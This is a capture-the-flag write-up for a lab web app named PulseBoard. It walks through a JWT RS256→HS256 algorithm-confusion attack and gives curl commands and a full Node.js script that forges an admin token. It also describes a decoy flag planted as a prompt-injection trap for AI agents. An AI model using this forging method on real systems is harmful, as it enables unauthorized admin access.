PulseBoard
PulseBoard
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_endpoint_enumeration, crlf_pem_key_format_matching, decoy_flag_identification, hmac_signing_with_rsa_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion_rs256_to_hs256
Summary
Walkthrough of the CUSTOM Web PulseBoard. Task: Express.js analytics dashboard with RS256 JWT authentication and JWKS public key endpoint. Solution: JWT algorithm confusion (RS256→HS256) using the public key as HMAC secret, with CRLF line end
Description
PulseBoard is a real-time analytics dashboard built by PulseMetrics Inc. that helps teams track page views, conversions, revenue, and other key performance metrics. The platform uses JWT-based authentication with RS256 signing for its API.
You have been authorized to perform a security assessment of this application. Your goal is to find and exploit a vulnerability in the authentication system that allows you to escalate your privileges and access restricted administrative functionality.
The admin panel contains sensitive system configuration data including a secret key that serves as the flag. Regular users cannot access the admin endpoints.
Credentials: user@test.com / password123
English summary: Express.js analytics dashboard with JWT-based RS256 authentication. Login as a regular user, escalate to admin via JWT vulnerability, and retrieve the flag from the admin system config endpoint.
Analysis
Reconnaissance
The application is an Express.js app (X-Powered-By: Express) behind nginx/1.25.5. Authentication uses JWT tokens stored in a token cookie, signed with RS256.
Key discovery: the JWKS endpoint at /.well-known/jwks.json exposes the full RSA public key:
json read-only • copy allowed{ "keys": [{ "kty": "RSA", "kid": "pulseboard-key-1", "use": "sig", "alg": "RS256", "e": "AQAB", "n": "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw" }] }
Login and JWT Structure
Login via POST /login with email=user@test.com&password=password123 returns a JWT cookie. Decoded payload:
json read-only • copy allowed{"sub": 2, "email": "user@test.com", "name": "Alex Rivera", "role": "user", "iat": ..., "exp": ...}
Admin Endpoint Discovery
Requesting GET /api/admin/config with a valid user token returns 403 Forbidden but leaks the admin endpoint list:
GET /api/admin/system-config— system configuration (contains the flag)GET /api/admin/users— user managementPOST /api/admin/users/:id/role— role assignment
Decoy Flag
Every page contains an HTML comment with a decoy flag designed as a prompt injection trap for AI agents:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)
The server uses the jsonwebtoken Node.js library to verify JWTs. When the algorithms option is not explicitly restricted, the library accepts whatever algorithm the token header specifies. This enables the classic RS256→HS256 algorithm confusion attack:
- RS256: Server verifies the signature using the RSA public key
- HS256: Server verifies the signature using a symmetric secret
If we forge a token with alg: "HS256" and sign it using the RSA public key as the HMAC secret, the server will verify it successfully — because it uses the same public key for both RS256 verification and (mistakenly) HS256 verification.
Solution
Step 1: Login and Obtain User Token
bash read-only • copy allowedcurl -s -c cookies.txt "$BASE/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null
Step 2: Fetch the Public Key
bash read-only • copy allowedcurl -s "$BASE/.well-known/jwks.json" | jq .
Step 3: Convert JWK to PEM
Using the jwk-to-pem npm package to get the exact PEM format:
javascript read-only • copy allowedconst jwkToPem = require('jwk-to-pem'); const pem = jwkToPem({ kty: "RSA", kid: "pulseboard-key-1", use: "sig", alg: "RS256", e: "AQAB", n: "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw" });
Step 4: Forge Admin JWT with HS256
Critical detail: The server stores the PEM key with CRLF (\r\n) line endings. Tokens signed with standard LF-only PEM were rejected (302 redirect = invalid token). Converting the PEM to use CRLF line endings before signing produced a valid signature.
This was discovered by systematically testing different PEM formats:
| PEM Format | Result |
|---|---|
| SPKI PEM with LF | 302 (rejected) |
| PKCS#1 PEM | 302 (rejected) |
| SPKI PEM trimmed | 302 (rejected) |
| SPKI PEM with CRLF | 200 (accepted!) |
| SPKI PEM without trailing newline | 302 (rejected) |
| |
Step 5: Retrieve the Flag
bash read-only • copy allowedcurl -s "$BASE/api/admin/system-config" -H "Cookie: token=$TOKEN"
Response:
json read-only • copy allowed{ "secret_key": "FLAG{REDACTED}", "api_version": "v2.4.1", "max_team_size": "50", "retention_days": "365", "server_version": "2.4.1", "node_env": "production" }
Full Solve Script
javascript read-only • copy allowedconst jwt = require('jsonwebtoken'); const jwkToPem = require('jwk-to-pem'); const jwk = { kty: "RSA", kid: "pulseboard-key-1", use: "sig", alg: "RS256", e: "AQAB", n: "0YOMIY9Mbig_Om5Zds0-u0wdTaCBORReysJs3jV7qt-phDjbnYEFFKynNbgy60ljr5lDTAUkJuBCVDGpuEea2A3hwMSG8T0Cck_XF9c51DJVUWEKkLNU9qYidP5b1G1oKPWXDUilJ0-oCoIIT33aRohO-q5xMRlt2E7To-NOGUuI-BGVImdDRAmyrMwQbFnSKMlWNkQ5BiSNqROT-loo_kVlEpxtGfMjh2AqUHjb4xh1_rTsV_ZKAYp1YBVuEAgOYMSEjpSdnYIxWlQ3rOH6kO_eq4X2v4AZcj-u2YAK_x596FqmHI-NKA5o_NUi1f6CXSICN1d91E8Lq5nT4SHkZw" }; // Convert JWK to PEM, then switch to CRLF line endings to match server const pem = jwkToPem(jwk); const pemCRLF = pem.replace(/\n/g, '\r\n'); // Forge admin JWT signed with HS256 using public key as HMAC secret const now = Math.floor(Date.now() / 1000); const token = jwt.sign( { sub: 1, email: 'admin@pulseboard.io', name: 'Admin', role: 'admin', iat: now, exp: now + 86400 }, pemCRLF, { algorithm: 'HS256' } ); console.log(token); // Usage: curl -s $BASE/api/admin/system-config -H "Cookie: token=$TOKEN"
Key Takeaways / Lessons
- Mastering admin_endpoint_enumeration, crlf_pem_key_format_matching, decoy_flag_identification, hmac_signing_with_rsa_public_key, jwk_to_pem_conversion, jwt_algorithm_confusion_rs256_to_hs256 was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-21 • CUSTOM • PulseBoard • Difficulty: Medium